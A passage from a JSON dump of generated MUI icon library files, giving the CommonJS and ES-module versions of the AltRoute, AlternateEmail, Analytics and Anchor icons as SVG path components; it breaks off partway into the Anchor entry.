    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01m.37-6.01-2.8-2.8c-.2-.2-.51-.2-.71 0l-2.79 2.8c-.31.31-.09.85.36.85h1.81c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6H9.8c.44 0 .66-.54.35-.85m10 0-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.32.31-.1.85.35.85h1.78c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37h1.8c.45 0 .67-.54.36-.85\"\n}), 'AltRouteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01m.37-6.01-2.8-2.8c-.2-.2-.51-.2-.71 0l-2.79 2.8c-.31.31-.09.85.36.85h1.81c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6H9.8c.44 0 .66-.54.35-.85m10 0-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.32.31-.1.85.35.85h1.78c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v4c0 .55.45 1 1 1s1-.45 1-1v-4c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37h1.8c.45 0 .67-.54.36-.85\"\n}), 'AltRouteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRouteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57V12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57V12c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmail');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmail.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57V12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57V12c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmail');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1.95c-5.52 0-10 4.48-10 10s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.43c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57v-1.43c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1.95c-5.52 0-10 4.48-10 10s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.43c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57v-1.43c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.72 2.03C6.63 1.6 1.6 6.63 2.03 12.72 2.39 18.01 7.01 22 12.31 22H16c.55 0 1-.45 1-1s-.45-1-1-1h-3.67c-3.73 0-7.15-2.42-8.08-6.03-1.49-5.8 3.91-11.21 9.71-9.71C17.58 5.18 20 8.6 20 12.33v1.1c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.25c0-2.51-1.78-4.77-4.26-5.12-3.4-.49-6.27 2.45-5.66 5.87.34 1.91 1.83 3.49 3.72 3.94 1.84.43 3.59-.16 4.74-1.33.89 1.22 2.67 1.86 4.3 1.21 1.34-.53 2.16-1.9 2.16-3.34v-1.09c0-5.31-3.99-9.93-9.28-10.29M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.72 2.03C6.63 1.6 1.6 6.63 2.03 12.72 2.39 18.01 7.01 22 12.31 22H16c.55 0 1-.45 1-1s-.45-1-1-1h-3.67c-3.73 0-7.15-2.42-8.08-6.03-1.49-5.8 3.91-11.21 9.71-9.71C17.58 5.18 20 8.6 20 12.33v1.1c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.25c0-2.51-1.78-4.77-4.26-5.12-3.4-.49-6.27 2.45-5.66 5.87.34 1.91 1.83 3.49 3.72 3.94 1.84.43 3.59-.16 4.74-1.33.89 1.22 2.67 1.86 4.3 1.21 1.34-.53 2.16-1.9 2.16-3.34v-1.09c0-5.31-3.99-9.93-9.28-10.29M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57V12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57V12c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57V12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57V12c0-5.52-4.48-10-10-10m0 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".9\",\n  d: \"M12 21.95h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.43c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57v-1.43c0-5.52-4.48-10-10-10s-10 4.48-10 10 4.48 10 10 10m0-7c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlternateEmailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".9\",\n  d: \"M12 21.95h5v-2h-5c-4.34 0-8-3.66-8-8s3.66-8 8-8 8 3.66 8 8v1.43c0 .79-.71 1.57-1.5 1.57s-1.5-.78-1.5-1.57v-1.43c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5c1.38 0 2.64-.56 3.54-1.47.65.89 1.77 1.47 2.96 1.47 1.97 0 3.5-1.6 3.5-3.57v-1.43c0-5.52-4.48-10-10-10s-10 4.48-10 10 4.48 10 10 10m0-7c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'AlternateEmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Analytics.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-5h2zm4 0h-2v-3h2zm0-5h-2v-2h2zm4 5h-2V7h2z\"\n}), 'Analytics');"
  },
  {
    "path": "packages/mui-icons-material/lib/Analytics.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-5h2zm4 0h-2v-3h2zm0-5h-2v-2h2zm4 5h-2V7h2z\"\n}), 'Analytics');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12h2v5H7zm8-5h2v10h-2zm-4 7h2v3h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'AnalyticsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12h2v5H7zm8-5h2v10h-2zm-4 7h2v3h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'AnalyticsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1s1 .45 1 1v1c0 .55-.45 1-1 1m0-5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 5c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'AnalyticsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1s1 .45 1 1v1c0 .55-.45 1-1 1m0-5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 5c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'AnalyticsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm6 14H7v-5h2zm4 0h-2v-3h2zm0-5h-2v-2h2zm4 5h-2V7h2z\"\n}), 'AnalyticsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm6 14H7v-5h2zm4 0h-2v-3h2zm0-5h-2v-2h2zm4 5h-2V7h2z\"\n}), 'AnalyticsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12h2v5H7zm8-5h2v10h-2zm-4 7h2v3h-2zm0-4h2v2h-2z\"\n}, \"2\")], 'AnalyticsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnalyticsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v14H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12h2v5H7zm8-5h2v10h-2zm-4 7h2v3h-2zm0-4h2v2h-2z\"\n}, \"2\")], 'AnalyticsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Anchor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'Anchor');"
  },
  {
    "path": "packages/mui-icons-material/lib/Anchor.mjs",
